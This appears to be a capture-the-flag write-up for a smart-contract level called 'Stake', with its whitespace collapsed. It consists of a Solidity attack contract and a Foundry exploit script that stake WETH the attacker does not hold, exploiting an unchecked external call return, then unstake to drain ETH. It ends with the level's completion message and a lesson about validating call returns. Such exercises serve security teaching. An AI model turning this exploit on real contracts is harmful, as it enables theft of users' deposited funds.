// SPDX-License-Identifier: MITpragmasolidity ^0.8.0;// ================================================================// │ LEVEL 31 - STAKE │// ================================================================interface IStake {functionStakeETH() externalpayable;}contract AttackContract { IStake privateimmutable stake;constructor(address_stakeContract) payable { stake =IStake(_stakeContract); }functionattack() externalpayable {// Become a staker with 0.001 ETH + 2 wei (1 will be left behind) stake.StakeETH{value: msg.value}(); }}
script/Level31.s.sol
// SPDX-License-Identifier: MITpragmasolidity ^0.8.0;import {Script, console} from"forge-std/Script.sol";import {HelperFunctions} from"script/HelperFunctions.s.sol";import {AttackContract} from"src/Level31.sol";// ================================================================// │ LEVEL 31 - STAKE │// ================================================================interface IWETH {functionapprove(address spender,uint256 amount) externalreturns (bool);functiontransfer(address recipient,uint256 amount) externalreturns (bool);}interface IStake {functionWETH() externalviewreturns (address);functiontotalStaked() externalviewreturns (uint256);functionStakeETH() externalpayable;functionStakeWETH(uint256 amount) externalreturns (bool);functionUnstake(uint256 amount) externalreturns (bool);functionStakers(address) externalviewreturns (bool);functionUserStake(address) externalviewreturns (uint256);}contractExploitisScript, HelperFunctions {functionrun() public {address targetContractAddress =getInstanceAddress(); IStake stake =IStake(targetContractAddress);uint256 amount =0.001ether+1wei; IWETH weth =IWETH(stake.WETH()); vm.startBroadcast();// Deploy the AttackContract contract and stake some ETH AttackContract attackContract =newAttackContract(address(stake)); attackContract.attack{value: amount +1wei}();// Become a staker stake.StakeETH{value: amount}();// Approve the stake contract to use WETH weth.approve(address(stake), amount);// Stake WETH (that we don't have!) stake.StakeWETH(amount);// Unstake ETH + WETH (leave 1 wei in Stake contract) stake.Unstake(amount *2);// 1. The Stake contract's ETH balance has to be greater than 0 console.log("Stake contract ETH balance:",address(stake).balance);require(address(stake).balance >0,"Stake balance == 0");// 2. totalStaked must be greater than the Stake contract's ETH balance console.log("Total staked:", stake.totalStaked());require(stake.totalStaked() >address(stake).balance,"Balance > Total staked");// 3. You must be a staker. console.log("You are a staker:", stake.Stakers(address(msg.sender)),address(msg.sender));require(stake.Stakers(address(msg.sender)),"You are not a staker");// 4. Your staked balance must be 0. console.log("Your staked balance:", stake.UserStake(address(msg.sender)));require(stake.UserStake(address(msg.sender)) ==0,"Your staked balance != 0"); vm.stopBroadcast(); }}
Submit instance... 🥳
Completion Message
Congratulations, you have cracked the Stake machine!
When performing low-level calls to external contracts, it is important to properly validate external call returns to determine whether the call reverted.